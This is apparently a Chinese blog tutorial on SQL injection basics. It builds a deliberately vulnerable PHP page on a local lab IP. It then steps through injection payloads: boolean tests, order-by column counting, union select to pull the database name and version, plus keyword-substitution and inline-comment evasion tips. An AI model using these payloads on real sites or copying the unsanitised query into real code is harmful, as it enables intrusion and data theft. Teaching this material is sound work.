温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

sql注入漏洞的基础是什么

发布时间:2021-12-10 09:29:05 来源:亿速云 阅读:150 作者:柒染 栏目:大数据

这篇文章给大家介绍sql注入漏洞的基础是什么,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

一、简介

SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

二、产生的原因

1.程序在开发的时候没对用户的数据过滤,把用户的数据都当做可信数据。

2.过滤不严格。

3.数据库配置不当。

4.转义不当。

三、注入点分类

1、数字型注入:

在 Web 端大概是 http://www.aiyou.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1

2、字符型注入:

在 Web 端大概是 http://www.aiyou.com/news.php?name=aiyou 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='aiyou'。注意多了引号。组合出来的sql注入语句为:select * from news where name='admin'

3、搜索型注入:

在 Web 端大概是 http://www.aiyou.com/news.php?keyword=aiyou 这种形式,其原形大致为:select * from 表名 where 字段 like '%aiyou%',组合出来的sql注入语句为:select * from news where search like '%aiyou %'

四、数字型实例

1、新建一个根据id查询专辑的php页面

<meta charset="utf-8"><?phpinclude("connect.php");//连接数据库if(isset($_GET['id'])){    $id=$_GET['id'];    $sql="SELECT * FROM zhuanji WHERE id=$id LIMIT 0,1";    $result=mysql_query($sql);    $row = mysql_fetch_array($result);    if($row)    {      echo '专辑名称:'. $row['name'];      echo "";      echo '发行时间:' .$row['year'];    echo "";    echo '主 打 歌:' .$row['zhudage'];      }    else    {    print_r(mysql_error());    }}    else        {             echo "网址错误";        }?>

2、访问:http://192.168.1.129/php/szx.php?id=1

sql注入漏洞的基础是什么

3、测试注入是否存在

http://192.168.1.129/php/szx.php?id=1 and 1=1 返回正常

http://192.168.1.129/php/szx.php?id=1 and 1=2 返回错误

存在注入

4、判断该表的列数

http://192.168.1.129/php/szx.php?id=1 order by 5 返回错误

sql注入漏洞的基础是什么

http://192.168.1.129/php/szx.php?id=1 order by 4 返回正常

sql注入漏洞的基础是什么

该表有4列

5、联合查询

http://192.168.1.129/php/szx.php?id=-1 union select 1,2,3,4

sql注入漏洞的基础是什么

6、获取数据库名称和mysql版本号

http://192.168.1.129/php/szx.php?id=-1 union select 1,database(),version(),4

sql注入漏洞的基础是什么

五、mysql5.0以上版本的特性:

默认定义information_schema数据库,里面具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)

在schemata表中,schema_name字段用来存储数据库名

在tables表中,table_schema和table_name分别用来存储数据库名和表名。

在columns表中,tabel_schema存储数据库名,table_name存储表名,column_name存储字段名

注意:

1、Mysql中的大小写不敏感,大小写一样

2、Mysql中的十六进制与URL编码都可以识别。

3、符号和关键字替换 and--&& or--||,and优先级高于or

4、内联注释 /*!内联注释*/ ,/*!/*!*/是等效于/*!*/的

关于sql注入漏洞的基础是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sql
AI